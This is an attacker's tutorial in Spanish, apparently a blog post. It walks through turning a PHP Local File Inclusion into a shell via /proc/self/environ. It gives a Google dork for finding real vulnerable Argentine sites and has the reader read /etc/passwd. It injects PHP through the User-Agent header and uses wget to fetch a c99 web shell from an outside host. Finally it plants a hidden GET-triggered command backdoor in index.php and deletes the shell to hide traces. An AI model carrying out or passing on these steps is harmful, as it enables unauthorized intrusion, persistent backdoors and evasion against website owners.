En esta entrada analizaremos una forma poco conocida para llegar de un Local File Inclusion a la Shell a traves de el fichero /proc/self/environ
Empecemos:
Primero buscamos utilizando google dorks alguna web vulnerable a LFI
Dork:
inurl:*.php?page=* site:.com.ar
Probamos que al incluir /etc/passwd nos muestra su contenido
http://sitiovulnerable/index.php?page=/etc/passwd

Damos como parametro a incluir /proc/self/environ y vemos el siguien resultado
http://sitiovulnerable/index.php?page=/proc/self/environ

Nos vamos a Mozilla Firefox y abrimos el addon Tamper Data:
Damos click en Start Tamper y volvemos a realizar la petición al sitio web
Atrapa el primer "paquete" y nos sale el siguiente cartel

Desactivamos la casilla "Continue Tampering" y Damos Click en Tamper, modificamos el parametro User-Agent intrudiciendo código php
<?php System('ls'); ?>
para ver si logramos listar el contenido de host.

Confirmamos y vemos q el codigo php se ejecuta correctamente y lista los archivos y directorios de la web Vulnerable:

Ahora sabemos que se puede ejecutar Codigo bash por medio de este LFI con el comando system,exec,etc (si no funcionace reciviriamos un mensaje diciendo q la funcion system() a sido deshabilitada por razones de seguridad)
Subiremos nuestra Shell, de la siguiente forma.
Abriremos Tamper Data y comenzaremos a Capturar.
Repetiremos la peticion al host:
http://sitiovulnerable/index.php?page=/proc/self/environ
Modificaremos el Parametro User-Agent para que ejecute Wget y descarge una shell en txt de donde sea que este alojada con el siguiente codigo php
<?php system('wget http://SitioDeLaShell/shell.txt'); ?>

Repetimos la operación con Tamper Data y comprobamos q nuestra shell se subÃo correctamente pasando como parametro en User-Agent
<?php system('ls'); ?>
Vemos que dentro de la lista de archivos del host aparece nuestra shell

Convertiremos nuestro txt, en un archivo php, repitiendo la operacion con Tamper Data y pasando como parametro de User-Agent
<?php system('mv c99.txt s.php'); ?>
Una ves hecho esto repetimos el procedimiento con Tamper Data para listar nuestros archivos, para ver si el proceso anterior Termino Correctamente:
<?php system('ls'); ?>

Como vemos el archivo fue renombrado correctamente, solo nos queda vistar nuestro archivo por medio de la URL
http://sitiovulerable/s.php

Para mantener el acceso planteremos backdoor dentro del codigo de algun archivo, yo elegi el index.php
Backdoor:
<?php if($_GET['active']=='si'){ system( $_GET['c']); } ?>

Lo Introduciremos dentro de index.php y al llamarlo desde
http://SutioVulnerable/index.php?c=ls&active=si
nos mostrara el resultado de la ejecución del parametro q pasemos.

Solo nos queda eliminar s.php con el comando rm s.php por medio de nuestro Backdoor
http://SutioVulnerable/index.php?c=rm s.php&active=si
Listamos el Contenido del Host
http://SutioVulnerable/index.php?c=ls&active=si
y vemos que s.php ha desaparecido.

Happy Hacking!